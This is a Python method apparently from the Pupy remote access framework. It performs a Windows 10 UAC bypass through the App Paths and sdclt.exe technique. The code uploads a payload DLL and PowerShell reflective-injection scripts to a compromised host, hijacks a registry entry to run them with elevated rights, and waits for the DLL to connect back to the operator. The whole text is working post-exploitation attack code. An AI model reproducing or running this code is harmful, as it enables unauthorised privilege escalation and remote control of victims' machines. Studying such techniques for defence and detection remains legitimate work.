'Performs an UAC bypass attack by using app Paths + sdclt.exe (Wind10 Only): Thanks to enigma0x3 (https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/).'

def bypassuac_through_appPaths(self):

    self.module.info('Running    app    Paths    method    for    bypassing    UAC...')
    if ('64' in self.module.client.desc['os_arch']):
        force_x86_dll = False
    else:
        force_x86_dll = True
    self.module.info('Uploading    temporary    files')
    self.uploadPupyDLL(force_x86_dll=force_x86_dll)
    self.uploadPowershellScripts()
    files_to_delete = [self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath]
    self.module.info('Altering    the    registry')
    self.module.client.conn.modules['pupwinutils.bypassuac_remote'].registry_hijacking_appPath(self.mainPowershellScriptRemotePath, files_to_delete)
    self.module.success('Waiting    for    a    connection    from    the    DLL    (take    few    seconds,    1    min    max)...')
    self.module.success('If    nothing    happened,    try    to    migrate    to    another    process    and    try    again.')
